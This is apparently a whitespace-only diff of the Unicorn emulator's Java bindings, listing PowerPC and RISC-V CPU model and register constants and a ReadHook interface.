public static final int UC_CPU_PPC32_MPC8544E_V10 = 116;
public static final int UC_CPU_PPC32_MPC8544E_V11 = 117;
public static final int UC_CPU_PPC32_MPC8545_V20 = 118;
public static final int UC_CPU_PPC32_MPC8545_V21 = 119;
public static final int UC_CPU_PPC32_MPC8545E_V20 = 120;
public static final int UC_CPU_PPC32_MPC8545E_V21 = 121;
public static final int UC_CPU_PPC32_MPC8547E_V20 = 122;
public static final int UC_CPU_PPC32_MPC8547E_V21 = 123;
public static final int UC_CPU_PPC32_MPC8548_V10 = 124;
public static final int UC_CPU_PPC32_MPC8548_V11 = 125;
public static final int UC_CPU_PPC32_MPC8548_V20 = 126;
public static final int UC_CPU_PPC32_MPC8548_V21 = 127;
public static final int UC_CPU_PPC32_MPC8548E_V10 = 128;
public static final int UC_CPU_PPC32_MPC8548E_V11 = 129;
public static final int UC_CPU_PPC32_MPC8548E_V20 = 130;
public static final int UC_CPU_PPC32_MPC8548E_V21 = 131;
public static final int UC_CPU_PPC32_MPC8555_V10 = 132;
public static final int UC_CPU_PPC32_MPC8555_V11 = 133;
public static final int UC_CPU_PPC32_MPC8555E_V10 = 134;
public static final int UC_CPU_PPC32_MPC8555E_V11 = 135;
public static final int UC_CPU_PPC32_MPC8560_V10 = 136;
public static final int UC_CPU_PPC32_MPC8560_V20 = 137;
public static final int UC_CPU_PPC32_MPC8560_V21 = 138;
public static final int UC_CPU_PPC32_MPC8567 = 139;
public static final int UC_CPU_PPC32_MPC8567E = 140;
public static final int UC_CPU_PPC32_MPC8568 = 141;
public static final int UC_CPU_PPC32_MPC8568E = 142;
public static final int UC_CPU_PPC32_MPC8572 = 143;
public static final int UC_CPU_PPC32_MPC8572E = 144;
public static final int UC_CPU_PPC32_E600 = 145;
public static final int UC_CPU_PPC32_MPC8610 = 146;
public static final int UC_CPU_PPC32_MPC8641 = 147;
public static final int UC_CPU_PPC32_MPC8641D = 148;
public static final int UC_CPU_PPC32_601_V0 = 149;
public static final int UC_CPU_PPC32_601_V1 = 150;
public static final int UC_CPU_PPC32_601_V2 = 151;
public static final int UC_CPU_PPC32_602 = 152;
public static final int UC_CPU_PPC32_603 = 153;
public static final int UC_CPU_PPC32_603E_V1_1 = 154;
public static final int UC_CPU_PPC32_603E_V1_2 = 155;
public static final int UC_CPU_PPC32_603E_V1_3 = 156;
public static final int UC_CPU_PPC32_603E_V1_4 = 157;
public static final int UC_CPU_PPC32_603E_V2_2 = 158;
public static final int UC_CPU_PPC32_603E_V3 = 159;
public static final int UC_CPU_PPC32_603E_V4 = 160;
public static final int UC_CPU_PPC32_603E_V4_1 = 161;
public static final int UC_CPU_PPC32_603E7 = 162;
public static final int UC_CPU_PPC32_603E7T = 163;
public static final int UC_CPU_PPC32_603E7V = 164;
public static final int UC_CPU_PPC32_603E7V1 = 165;
public static final int UC_CPU_PPC32_603E7V2 = 166;
public static final int UC_CPU_PPC32_603P = 167;
public static final int UC_CPU_PPC32_604 = 168;
public static final int UC_CPU_PPC32_604E_V1_0 = 169;
public static final int UC_CPU_PPC32_604E_V2_2 = 170;
public static final int UC_CPU_PPC32_604E_V2_4 = 171;
public static final int UC_CPU_PPC32_604R = 172;
public static final int UC_CPU_PPC32_740_V1_0 = 173;
public static final int UC_CPU_PPC32_750_V1_0 = 174;
public static final int UC_CPU_PPC32_740_V2_0 = 175;
public static final int UC_CPU_PPC32_750_V2_0 = 176;
public static final int UC_CPU_PPC32_740_V2_1 = 177;
public static final int UC_CPU_PPC32_750_V2_1 = 178;
public static final int UC_CPU_PPC32_740_V2_2 = 179;
public static final int UC_CPU_PPC32_750_V2_2 = 180;
public static final int UC_CPU_PPC32_740_V3_0 = 181;
public static final int UC_CPU_PPC32_750_V3_0 = 182;
public static final int UC_CPU_PPC32_740_V3_1 = 183;
public static final int UC_CPU_PPC32_750_V3_1 = 184;
public static final int UC_CPU_PPC32_740E = 185;
public static final int UC_CPU_PPC32_750E = 186;
public static final int UC_CPU_PPC32_740P = 187;
public static final int UC_CPU_PPC32_750P = 188;
public static final int UC_CPU_PPC32_750CL_V1_0 = 189;
public static final int UC_CPU_PPC32_750CL_V2_0 = 190;
public static final int UC_CPU_PPC32_750CX_V1_0 = 191;
public static final int UC_CPU_PPC32_750CX_V2_0 = 192;
public static final int UC_CPU_PPC32_750CX_V2_1 = 193;
public static final int UC_CPU_PPC32_750CX_V2_2 = 194;
public static final int UC_CPU_PPC32_750CXE_V2_1 = 195;
public static final int UC_CPU_PPC32_750CXE_V2_2 = 196;
public static final int UC_CPU_PPC32_750CXE_V2_3 = 197;
public static final int UC_CPU_PPC32_750CXE_V2_4 = 198;
public static final int UC_CPU_PPC32_750CXE_V2_4B = 199;
public static final int UC_CPU_PPC32_750CXE_V3_0 = 200;
public static final int UC_CPU_PPC32_750CXE_V3_1 = 201;
public static final int UC_CPU_PPC32_750CXE_V3_1B = 202;
public static final int UC_CPU_PPC32_750CXR = 203;
public static final int UC_CPU_PPC32_750FL = 204;
public static final int UC_CPU_PPC32_750FX_V1_0 = 205;
public static final int UC_CPU_PPC32_750FX_V2_0 = 206;
public static final int UC_CPU_PPC32_750FX_V2_1 = 207;
public static final int UC_CPU_PPC32_750FX_V2_2 = 208;
public static final int UC_CPU_PPC32_750FX_V2_3 = 209;
public static final int UC_CPU_PPC32_750GL = 210;
public static final int UC_CPU_PPC32_750GX_V1_0 = 211;
public static final int UC_CPU_PPC32_750GX_V1_1 = 212;
public static final int UC_CPU_PPC32_750GX_V1_2 = 213;
public static final int UC_CPU_PPC32_750L_V2_0 = 214;
public static final int UC_CPU_PPC32_750L_V2_1 = 215;
public static final int UC_CPU_PPC32_750L_V2_2 = 216;
public static final int UC_CPU_PPC32_750L_V3_0 = 217;
public static final int UC_CPU_PPC32_750L_V3_2 = 218;
public static final int UC_CPU_PPC32_745_V1_0 = 219;
public static final int UC_CPU_PPC32_755_V1_0 = 220;
public static final int UC_CPU_PPC32_745_V1_1 = 221;
public static final int UC_CPU_PPC32_755_V1_1 = 222;
public static final int UC_CPU_PPC32_745_V2_0 = 223;
public static final int UC_CPU_PPC32_755_V2_0 = 224;
public static final int UC_CPU_PPC32_745_V2_1 = 225;
public static final int UC_CPU_PPC32_755_V2_1 = 226;
public static final int UC_CPU_PPC32_745_V2_2 = 227;
public static final int UC_CPU_PPC32_755_V2_2 = 228;
public static final int UC_CPU_PPC32_745_V2_3 = 229;
public static final int UC_CPU_PPC32_755_V2_3 = 230;
public static final int UC_CPU_PPC32_745_V2_4 = 231;
public static final int UC_CPU_PPC32_755_V2_4 = 232;
public static final int UC_CPU_PPC32_745_V2_5 = 233;
public static final int UC_CPU_PPC32_755_V2_5 = 234;
public static final int UC_CPU_PPC32_745_V2_6 = 235;
public static final int UC_CPU_PPC32_755_V2_6 = 236;
public static final int UC_CPU_PPC32_745_V2_7 = 237;
public static final int UC_CPU_PPC32_755_V2_7 = 238;
public static final int UC_CPU_PPC32_745_V2_8 = 239;
public static final int UC_CPU_PPC32_755_V2_8 = 240;
public static final int UC_CPU_PPC32_7400_V1_0 = 241;
public static final int UC_CPU_PPC32_7400_V1_1 = 242;
public static final int UC_CPU_PPC32_7400_V2_0 = 243;
public static final int UC_CPU_PPC32_7400_V2_1 = 244;
public static final int UC_CPU_PPC32_7400_V2_2 = 245;
public static final int UC_CPU_PPC32_7400_V2_6 = 246;
public static final int UC_CPU_PPC32_7400_V2_7 = 247;
public static final int UC_CPU_PPC32_7400_V2_8 = 248;
public static final int UC_CPU_PPC32_7400_V2_9 = 249;
public static final int UC_CPU_PPC32_7410_V1_0 = 250;
public static final int UC_CPU_PPC32_7410_V1_1 = 251;
public static final int UC_CPU_PPC32_7410_V1_2 = 252;
public static final int UC_CPU_PPC32_7410_V1_3 = 253;
public static final int UC_CPU_PPC32_7410_V1_4 = 254;
public static final int UC_CPU_PPC32_7448_V1_0 = 255;
public static final int UC_CPU_PPC32_7448_V1_1 = 256;
public static final int UC_CPU_PPC32_7448_V2_0 = 257;
public static final int UC_CPU_PPC32_7448_V2_1 = 258;
public static final int UC_CPU_PPC32_7450_V1_0 = 259;
public static final int UC_CPU_PPC32_7450_V1_1 = 260;
public static final int UC_CPU_PPC32_7450_V1_2 = 261;
public static final int UC_CPU_PPC32_7450_V2_0 = 262;
public static final int UC_CPU_PPC32_7450_V2_1 = 263;
public static final int UC_CPU_PPC32_7441_V2_1 = 264;
public static final int UC_CPU_PPC32_7441_V2_3 = 265;
public static final int UC_CPU_PPC32_7451_V2_3 = 266;
public static final int UC_CPU_PPC32_7441_V2_10 = 267;
public static final int UC_CPU_PPC32_7451_V2_10 = 268;
public static final int UC_CPU_PPC32_7445_V1_0 = 269;
public static final int UC_CPU_PPC32_7455_V1_0 = 270;
public static final int UC_CPU_PPC32_7445_V2_1 = 271;
public static final int UC_CPU_PPC32_7455_V2_1 = 272;
public static final int UC_CPU_PPC32_7445_V3_2 = 273;
public static final int UC_CPU_PPC32_7455_V3_2 = 274;
public static final int UC_CPU_PPC32_7445_V3_3 = 275;
public static final int UC_CPU_PPC32_7455_V3_3 = 276;
public static final int UC_CPU_PPC32_7445_V3_4 = 277;
public static final int UC_CPU_PPC32_7455_V3_4 = 278;
public static final int UC_CPU_PPC32_7447_V1_0 = 279;
public static final int UC_CPU_PPC32_7457_V1_0 = 280;
public static final int UC_CPU_PPC32_7447_V1_1 = 281;
public static final int UC_CPU_PPC32_7457_V1_1 = 282;
public static final int UC_CPU_PPC32_7457_V1_2 = 283;
public static final int UC_CPU_PPC32_7447A_V1_0 = 284;
public static final int UC_CPU_PPC32_7457A_V1_0 = 285;
public static final int UC_CPU_PPC32_7447A_V1_1 = 286;
public static final int UC_CPU_PPC32_7457A_V1_1 = 287;
public static final int UC_CPU_PPC32_7447A_V1_2 = 288;
public static final int UC_CPU_PPC32_7457A_V1_2 = 289;
public static final int UC_CPU_PPC32_ENDING = 290;
// PPC64 CPU
// PPC64 CPU
public static final int UC_CPU_PPC64_E5500 = 0;
public static final int UC_CPU_PPC64_E6500 = 1;
public static final int UC_CPU_PPC64_970_V2_2 = 2;
public static final int UC_CPU_PPC64_970FX_V1_0 = 3;
public static final int UC_CPU_PPC64_970FX_V2_0 = 4;
public static final int UC_CPU_PPC64_970FX_V2_1 = 5;
public static final int UC_CPU_PPC64_970FX_V3_0 = 6;
public static final int UC_CPU_PPC64_970FX_V3_1 = 7;
public static final int UC_CPU_PPC64_970MP_V1_0 = 8;
public static final int UC_CPU_PPC64_970MP_V1_1 = 9;
public static final int UC_CPU_PPC64_POWER5_V2_1 = 10;
public static final int UC_CPU_PPC64_POWER7_V2_3 = 11;
public static final int UC_CPU_PPC64_POWER7_V2_1 = 12;
public static final int UC_CPU_PPC64_POWER8E_V2_1 = 13;
public static final int UC_CPU_PPC64_POWER8_V2_0 = 14;
public static final int UC_CPU_PPC64_POWER8NVL_V1_0 = 15;
public static final int UC_CPU_PPC64_POWER9_V1_0 = 16;
public static final int UC_CPU_PPC64_POWER9_V2_0 = 17;
public static final int UC_CPU_PPC64_POWER10_V1_0 = 18;
public static final int UC_CPU_PPC64_ENDING = 19;
public static final int UC_CPU_PPC64_E5500 = 0;
public static final int UC_CPU_PPC64_E6500 = 1;
public static final int UC_CPU_PPC64_970_V2_2 = 2;
public static final int UC_CPU_PPC64_970FX_V1_0 = 3;
public static final int UC_CPU_PPC64_970FX_V2_0 = 4;
public static final int UC_CPU_PPC64_970FX_V2_1 = 5;
public static final int UC_CPU_PPC64_970FX_V3_0 = 6;
public static final int UC_CPU_PPC64_970FX_V3_1 = 7;
public static final int UC_CPU_PPC64_970MP_V1_0 = 8;
public static final int UC_CPU_PPC64_970MP_V1_1 = 9;
public static final int UC_CPU_PPC64_POWER5_V2_1 = 10;
public static final int UC_CPU_PPC64_POWER7_V2_3 = 11;
public static final int UC_CPU_PPC64_POWER7_V2_1 = 12;
public static final int UC_CPU_PPC64_POWER8E_V2_1 = 13;
public static final int UC_CPU_PPC64_POWER8_V2_0 = 14;
public static final int UC_CPU_PPC64_POWER8NVL_V1_0 = 15;
public static final int UC_CPU_PPC64_POWER9_V1_0 = 16;
public static final int UC_CPU_PPC64_POWER9_V2_0 = 17;
public static final int UC_CPU_PPC64_POWER10_V1_0 = 18;
public static final int UC_CPU_PPC64_ENDING = 19;
// PPC registers
// PPC registers
public static final int UC_PPC_REG_INVALID = 0;
public static final int UC_PPC_REG_INVALID = 0;
// General purpose registers
public static final int UC_PPC_REG_PC = 1;
public static final int UC_PPC_REG_0 = 2;
public static final int UC_PPC_REG_1 = 3;
public static final int UC_PPC_REG_2 = 4;
public static final int UC_PPC_REG_3 = 5;
public static final int UC_PPC_REG_4 = 6;
public static final int UC_PPC_REG_5 = 7;
public static final int UC_PPC_REG_6 = 8;
public static final int UC_PPC_REG_7 = 9;
public static final int UC_PPC_REG_8 = 10;
public static final int UC_PPC_REG_9 = 11;
public static final int UC_PPC_REG_10 = 12;
public static final int UC_PPC_REG_11 = 13;
public static final int UC_PPC_REG_12 = 14;
public static final int UC_PPC_REG_13 = 15;
public static final int UC_PPC_REG_14 = 16;
public static final int UC_PPC_REG_15 = 17;
public static final int UC_PPC_REG_16 = 18;
public static final int UC_PPC_REG_17 = 19;
public static final int UC_PPC_REG_18 = 20;
public static final int UC_PPC_REG_19 = 21;
public static final int UC_PPC_REG_20 = 22;
public static final int UC_PPC_REG_21 = 23;
public static final int UC_PPC_REG_22 = 24;
public static final int UC_PPC_REG_23 = 25;
public static final int UC_PPC_REG_24 = 26;
public static final int UC_PPC_REG_25 = 27;
public static final int UC_PPC_REG_26 = 28;
public static final int UC_PPC_REG_27 = 29;
public static final int UC_PPC_REG_28 = 30;
public static final int UC_PPC_REG_29 = 31;
public static final int UC_PPC_REG_30 = 32;
public static final int UC_PPC_REG_31 = 33;
public static final int UC_PPC_REG_CR0 = 34;
public static final int UC_PPC_REG_CR1 = 35;
public static final int UC_PPC_REG_CR2 = 36;
public static final int UC_PPC_REG_CR3 = 37;
public static final int UC_PPC_REG_CR4 = 38;
public static final int UC_PPC_REG_CR5 = 39;
public static final int UC_PPC_REG_CR6 = 40;
public static final int UC_PPC_REG_CR7 = 41;
public static final int UC_PPC_REG_FPR0 = 42;
public static final int UC_PPC_REG_FPR1 = 43;
public static final int UC_PPC_REG_FPR2 = 44;
public static final int UC_PPC_REG_FPR3 = 45;
public static final int UC_PPC_REG_FPR4 = 46;
public static final int UC_PPC_REG_FPR5 = 47;
public static final int UC_PPC_REG_FPR6 = 48;
public static final int UC_PPC_REG_FPR7 = 49;
public static final int UC_PPC_REG_FPR8 = 50;
public static final int UC_PPC_REG_FPR9 = 51;
public static final int UC_PPC_REG_FPR10 = 52;
public static final int UC_PPC_REG_FPR11 = 53;
public static final int UC_PPC_REG_FPR12 = 54;
public static final int UC_PPC_REG_FPR13 = 55;
public static final int UC_PPC_REG_FPR14 = 56;
public static final int UC_PPC_REG_FPR15 = 57;
public static final int UC_PPC_REG_FPR16 = 58;
public static final int UC_PPC_REG_FPR17 = 59;
public static final int UC_PPC_REG_FPR18 = 60;
public static final int UC_PPC_REG_FPR19 = 61;
public static final int UC_PPC_REG_FPR20 = 62;
public static final int UC_PPC_REG_FPR21 = 63;
public static final int UC_PPC_REG_FPR22 = 64;
public static final int UC_PPC_REG_FPR23 = 65;
public static final int UC_PPC_REG_FPR24 = 66;
public static final int UC_PPC_REG_FPR25 = 67;
public static final int UC_PPC_REG_FPR26 = 68;
public static final int UC_PPC_REG_FPR27 = 69;
public static final int UC_PPC_REG_FPR28 = 70;
public static final int UC_PPC_REG_FPR29 = 71;
public static final int UC_PPC_REG_FPR30 = 72;
public static final int UC_PPC_REG_FPR31 = 73;
public static final int UC_PPC_REG_LR = 74;
public static final int UC_PPC_REG_XER = 75;
public static final int UC_PPC_REG_CTR = 76;
public static final int UC_PPC_REG_MSR = 77;
public static final int UC_PPC_REG_FPSCR = 78;
public static final int UC_PPC_REG_CR = 79;
public static final int UC_PPC_REG_ENDING = 80;
// General purpose registers
public static final int UC_PPC_REG_PC = 1;
public static final int UC_PPC_REG_0 = 2;
public static final int UC_PPC_REG_1 = 3;
public static final int UC_PPC_REG_2 = 4;
public static final int UC_PPC_REG_3 = 5;
public static final int UC_PPC_REG_4 = 6;
public static final int UC_PPC_REG_5 = 7;
public static final int UC_PPC_REG_6 = 8;
public static final int UC_PPC_REG_7 = 9;
public static final int UC_PPC_REG_8 = 10;
public static final int UC_PPC_REG_9 = 11;
public static final int UC_PPC_REG_10 = 12;
public static final int UC_PPC_REG_11 = 13;
public static final int UC_PPC_REG_12 = 14;
public static final int UC_PPC_REG_13 = 15;
public static final int UC_PPC_REG_14 = 16;
public static final int UC_PPC_REG_15 = 17;
public static final int UC_PPC_REG_16 = 18;
public static final int UC_PPC_REG_17 = 19;
public static final int UC_PPC_REG_18 = 20;
public static final int UC_PPC_REG_19 = 21;
public static final int UC_PPC_REG_20 = 22;
public static final int UC_PPC_REG_21 = 23;
public static final int UC_PPC_REG_22 = 24;
public static final int UC_PPC_REG_23 = 25;
public static final int UC_PPC_REG_24 = 26;
public static final int UC_PPC_REG_25 = 27;
public static final int UC_PPC_REG_26 = 28;
public static final int UC_PPC_REG_27 = 29;
public static final int UC_PPC_REG_28 = 30;
public static final int UC_PPC_REG_29 = 31;
public static final int UC_PPC_REG_30 = 32;
public static final int UC_PPC_REG_31 = 33;
public static final int UC_PPC_REG_CR0 = 34;
public static final int UC_PPC_REG_CR1 = 35;
public static final int UC_PPC_REG_CR2 = 36;
public static final int UC_PPC_REG_CR3 = 37;
public static final int UC_PPC_REG_CR4 = 38;
public static final int UC_PPC_REG_CR5 = 39;
public static final int UC_PPC_REG_CR6 = 40;
public static final int UC_PPC_REG_CR7 = 41;
public static final int UC_PPC_REG_FPR0 = 42;
public static final int UC_PPC_REG_FPR1 = 43;
public static final int UC_PPC_REG_FPR2 = 44;
public static final int UC_PPC_REG_FPR3 = 45;
public static final int UC_PPC_REG_FPR4 = 46;
public static final int UC_PPC_REG_FPR5 = 47;
public static final int UC_PPC_REG_FPR6 = 48;
public static final int UC_PPC_REG_FPR7 = 49;
public static final int UC_PPC_REG_FPR8 = 50;
public static final int UC_PPC_REG_FPR9 = 51;
public static final int UC_PPC_REG_FPR10 = 52;
public static final int UC_PPC_REG_FPR11 = 53;
public static final int UC_PPC_REG_FPR12 = 54;
public static final int UC_PPC_REG_FPR13 = 55;
public static final int UC_PPC_REG_FPR14 = 56;
public static final int UC_PPC_REG_FPR15 = 57;
public static final int UC_PPC_REG_FPR16 = 58;
public static final int UC_PPC_REG_FPR17 = 59;
public static final int UC_PPC_REG_FPR18 = 60;
public static final int UC_PPC_REG_FPR19 = 61;
public static final int UC_PPC_REG_FPR20 = 62;
public static final int UC_PPC_REG_FPR21 = 63;
public static final int UC_PPC_REG_FPR22 = 64;
public static final int UC_PPC_REG_FPR23 = 65;
public static final int UC_PPC_REG_FPR24 = 66;
public static final int UC_PPC_REG_FPR25 = 67;
public static final int UC_PPC_REG_FPR26 = 68;
public static final int UC_PPC_REG_FPR27 = 69;
public static final int UC_PPC_REG_FPR28 = 70;
public static final int UC_PPC_REG_FPR29 = 71;
public static final int UC_PPC_REG_FPR30 = 72;
public static final int UC_PPC_REG_FPR31 = 73;
public static final int UC_PPC_REG_LR = 74;
public static final int UC_PPC_REG_XER = 75;
public static final int UC_PPC_REG_CTR = 76;
public static final int UC_PPC_REG_MSR = 77;
public static final int UC_PPC_REG_FPSCR = 78;
public static final int UC_PPC_REG_CR = 79;
public static final int UC_PPC_REG_ENDING = 80;
}

View File

@@ -22,8 +22,5 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
package unicorn;
public interface ReadHook extends Hook {
public void hook(Unicorn u, long address, int size, Object user);
public void hook(Unicorn u, long address, int size, Object user);
}

View File

@@ -4,288 +4,288 @@ package unicorn;
public interface RiscvConst {
// RISCV32 CPU
// RISCV32 CPU
public static final int UC_CPU_RISCV32_ANY = 0;
public static final int UC_CPU_RISCV32_BASE32 = 1;
public static final int UC_CPU_RISCV32_SIFIVE_E31 = 2;
public static final int UC_CPU_RISCV32_SIFIVE_U34 = 3;
public static final int UC_CPU_RISCV32_ENDING = 4;
public static final int UC_CPU_RISCV32_ANY = 0;
public static final int UC_CPU_RISCV32_BASE32 = 1;
public static final int UC_CPU_RISCV32_SIFIVE_E31 = 2;
public static final int UC_CPU_RISCV32_SIFIVE_U34 = 3;
public static final int UC_CPU_RISCV32_ENDING = 4;
// RISCV64 CPU
// RISCV64 CPU
public static final int UC_CPU_RISCV64_ANY = 0;
public static final int UC_CPU_RISCV64_BASE64 = 1;
public static final int UC_CPU_RISCV64_SIFIVE_E51 = 2;
public static final int UC_CPU_RISCV64_SIFIVE_U54 = 3;
public static final int UC_CPU_RISCV64_ENDING = 4;
public static final int UC_CPU_RISCV64_ANY = 0;
public static final int UC_CPU_RISCV64_BASE64 = 1;
public static final int UC_CPU_RISCV64_SIFIVE_E51 = 2;
public static final int UC_CPU_RISCV64_SIFIVE_U54 = 3;
public static final int UC_CPU_RISCV64_ENDING = 4;
// RISCV registers
// RISCV registers
public static final int UC_RISCV_REG_INVALID = 0;
public static final int UC_RISCV_REG_INVALID = 0;
// General purpose registers
public static final int UC_RISCV_REG_X0 = 1;
public static final int UC_RISCV_REG_X1 = 2;
public static final int UC_RISCV_REG_X2 = 3;
public static final int UC_RISCV_REG_X3 = 4;
public static final int UC_RISCV_REG_X4 = 5;
public static final int UC_RISCV_REG_X5 = 6;
public static final int UC_RISCV_REG_X6 = 7;
public static final int UC_RISCV_REG_X7 = 8;
public static final int UC_RISCV_REG_X8 = 9;
public static final int UC_RISCV_REG_X9 = 10;
public static final int UC_RISCV_REG_X10 = 11;
public static final int UC_RISCV_REG_X11 = 12;
public static final int UC_RISCV_REG_X12 = 13;
public static final int UC_RISCV_REG_X13 = 14;
public static final int UC_RISCV_REG_X14 = 15;
public static final int UC_RISCV_REG_X15 = 16;
public static final int UC_RISCV_REG_X16 = 17;
public static final int UC_RISCV_REG_X17 = 18;
public static final int UC_RISCV_REG_X18 = 19;
public static final int UC_RISCV_REG_X19 = 20;
public static final int UC_RISCV_REG_X20 = 21;
public static final int UC_RISCV_REG_X21 = 22;
public static final int UC_RISCV_REG_X22 = 23;
public static final int UC_RISCV_REG_X23 = 24;
public static final int UC_RISCV_REG_X24 = 25;
public static final int UC_RISCV_REG_X25 = 26;
public static final int UC_RISCV_REG_X26 = 27;
public static final int UC_RISCV_REG_X27 = 28;
public static final int UC_RISCV_REG_X28 = 29;
public static final int UC_RISCV_REG_X29 = 30;
public static final int UC_RISCV_REG_X30 = 31;
public static final int UC_RISCV_REG_X31 = 32;
// General purpose registers
public static final int UC_RISCV_REG_X0 = 1;
public static final int UC_RISCV_REG_X1 = 2;
public static final int UC_RISCV_REG_X2 = 3;
public static final int UC_RISCV_REG_X3 = 4;
public static final int UC_RISCV_REG_X4 = 5;
public static final int UC_RISCV_REG_X5 = 6;
public static final int UC_RISCV_REG_X6 = 7;
public static final int UC_RISCV_REG_X7 = 8;
public static final int UC_RISCV_REG_X8 = 9;
public static final int UC_RISCV_REG_X9 = 10;
public static final int UC_RISCV_REG_X10 = 11;
public static final int UC_RISCV_REG_X11 = 12;
public static final int UC_RISCV_REG_X12 = 13;
public static final int UC_RISCV_REG_X13 = 14;
public static final int UC_RISCV_REG_X14 = 15;
public static final int UC_RISCV_REG_X15 = 16;
public static final int UC_RISCV_REG_X16 = 17;
public static final int UC_RISCV_REG_X17 = 18;
public static final int UC_RISCV_REG_X18 = 19;
public static final int UC_RISCV_REG_X19 = 20;
public static final int UC_RISCV_REG_X20 = 21;
public static final int UC_RISCV_REG_X21 = 22;
public static final int UC_RISCV_REG_X22 = 23;
public static final int UC_RISCV_REG_X23 = 24;
public static final int UC_RISCV_REG_X24 = 25;
public static final int UC_RISCV_REG_X25 = 26;
public static final int UC_RISCV_REG_X26 = 27;
public static final int UC_RISCV_REG_X27 = 28;
public static final int UC_RISCV_REG_X28 = 29;
public static final int UC_RISCV_REG_X29 = 30;
public static final int UC_RISCV_REG_X30 = 31;
public static final int UC_RISCV_REG_X31 = 32;
// RISCV CSR
public static final int UC_RISCV_REG_USTATUS = 33;
public static final int UC_RISCV_REG_UIE = 34;
public static final int UC_RISCV_REG_UTVEC = 35;
public static final int UC_RISCV_REG_USCRATCH = 36;
public static final int UC_RISCV_REG_UEPC = 37;
public static final int UC_RISCV_REG_UCAUSE = 38;
public static final int UC_RISCV_REG_UTVAL = 39;
public static final int UC_RISCV_REG_UIP = 40;
public static final int UC_RISCV_REG_FFLAGS = 41;
public static final int UC_RISCV_REG_FRM = 42;
public static final int UC_RISCV_REG_FCSR = 43;
public static final int UC_RISCV_REG_CYCLE = 44;
public static final int UC_RISCV_REG_TIME = 45;
public static final int UC_RISCV_REG_INSTRET = 46;
public static final int UC_RISCV_REG_HPMCOUNTER3 = 47;
public static final int UC_RISCV_REG_HPMCOUNTER4 = 48;
public static final int UC_RISCV_REG_HPMCOUNTER5 = 49;
public static final int UC_RISCV_REG_HPMCOUNTER6 = 50;
public static final int UC_RISCV_REG_HPMCOUNTER7 = 51;
public static final int UC_RISCV_REG_HPMCOUNTER8 = 52;
public static final int UC_RISCV_REG_HPMCOUNTER9 = 53;
public static final int UC_RISCV_REG_HPMCOUNTER10 = 54;
public static final int UC_RISCV_REG_HPMCOUNTER11 = 55;
public static final int UC_RISCV_REG_HPMCOUNTER12 = 56;
public static final int UC_RISCV_REG_HPMCOUNTER13 = 57;
public static final int UC_RISCV_REG_HPMCOUNTER14 = 58;
public static final int UC_RISCV_REG_HPMCOUNTER15 = 59;
public static final int UC_RISCV_REG_HPMCOUNTER16 = 60;
public static final int UC_RISCV_REG_HPMCOUNTER17 = 61;
public static final int UC_RISCV_REG_HPMCOUNTER18 = 62;
public static final int UC_RISCV_REG_HPMCOUNTER19 = 63;
public static final int UC_RISCV_REG_HPMCOUNTER20 = 64;
public static final int UC_RISCV_REG_HPMCOUNTER21 = 65;
public static final int UC_RISCV_REG_HPMCOUNTER22 = 66;
public static final int UC_RISCV_REG_HPMCOUNTER23 = 67;
public static final int UC_RISCV_REG_HPMCOUNTER24 = 68;
public static final int UC_RISCV_REG_HPMCOUNTER25 = 69;
public static final int UC_RISCV_REG_HPMCOUNTER26 = 70;
public static final int UC_RISCV_REG_HPMCOUNTER27 = 71;
public static final int UC_RISCV_REG_HPMCOUNTER28 = 72;
public static final int UC_RISCV_REG_HPMCOUNTER29 = 73;
public static final int UC_RISCV_REG_HPMCOUNTER30 = 74;
public static final int UC_RISCV_REG_HPMCOUNTER31 = 75;
public static final int UC_RISCV_REG_CYCLEH = 76;
public static final int UC_RISCV_REG_TIMEH = 77;
public static final int UC_RISCV_REG_INSTRETH = 78;
public static final int UC_RISCV_REG_HPMCOUNTER3H = 79;
public static final int UC_RISCV_REG_HPMCOUNTER4H = 80;
public static final int UC_RISCV_REG_HPMCOUNTER5H = 81;
public static final int UC_RISCV_REG_HPMCOUNTER6H = 82;
public static final int UC_RISCV_REG_HPMCOUNTER7H = 83;
public static final int UC_RISCV_REG_HPMCOUNTER8H = 84;
public static final int UC_RISCV_REG_HPMCOUNTER9H = 85;
public static final int UC_RISCV_REG_HPMCOUNTER10H = 86;
public static final int UC_RISCV_REG_HPMCOUNTER11H = 87;
public static final int UC_RISCV_REG_HPMCOUNTER12H = 88;
public static final int UC_RISCV_REG_HPMCOUNTER13H = 89;
public static final int UC_RISCV_REG_HPMCOUNTER14H = 90;
public static final int UC_RISCV_REG_HPMCOUNTER15H = 91;
public static final int UC_RISCV_REG_HPMCOUNTER16H = 92;
public static final int UC_RISCV_REG_HPMCOUNTER17H = 93;
public static final int UC_RISCV_REG_HPMCOUNTER18H = 94;
public static final int UC_RISCV_REG_HPMCOUNTER19H = 95;
public static final int UC_RISCV_REG_HPMCOUNTER20H = 96;
public static final int UC_RISCV_REG_HPMCOUNTER21H = 97;
public static final int UC_RISCV_REG_HPMCOUNTER22H = 98;
public static final int UC_RISCV_REG_HPMCOUNTER23H = 99;
public static final int UC_RISCV_REG_HPMCOUNTER24H = 100;
public static final int UC_RISCV_REG_HPMCOUNTER25H = 101;
public static final int UC_RISCV_REG_HPMCOUNTER26H = 102;
public static final int UC_RISCV_REG_HPMCOUNTER27H = 103;
public static final int UC_RISCV_REG_HPMCOUNTER28H = 104;
public static final int UC_RISCV_REG_HPMCOUNTER29H = 105;
public static final int UC_RISCV_REG_HPMCOUNTER30H = 106;
public static final int UC_RISCV_REG_HPMCOUNTER31H = 107;
public static final int UC_RISCV_REG_MCYCLE = 108;
public static final int UC_RISCV_REG_MINSTRET = 109;
public static final int UC_RISCV_REG_MCYCLEH = 110;
public static final int UC_RISCV_REG_MINSTRETH = 111;
public static final int UC_RISCV_REG_MVENDORID = 112;
public static final int UC_RISCV_REG_MARCHID = 113;
public static final int UC_RISCV_REG_MIMPID = 114;
public static final int UC_RISCV_REG_MHARTID = 115;
public static final int UC_RISCV_REG_MSTATUS = 116;
public static final int UC_RISCV_REG_MISA = 117;
public static final int UC_RISCV_REG_MEDELEG = 118;
public static final int UC_RISCV_REG_MIDELEG = 119;
public static final int UC_RISCV_REG_MIE = 120;
public static final int UC_RISCV_REG_MTVEC = 121;
public static final int UC_RISCV_REG_MCOUNTEREN = 122;
public static final int UC_RISCV_REG_MSTATUSH = 123;
public static final int UC_RISCV_REG_MUCOUNTEREN = 124;
public static final int UC_RISCV_REG_MSCOUNTEREN = 125;
public static final int UC_RISCV_REG_MHCOUNTEREN = 126;
public static final int UC_RISCV_REG_MSCRATCH = 127;
public static final int UC_RISCV_REG_MEPC = 128;
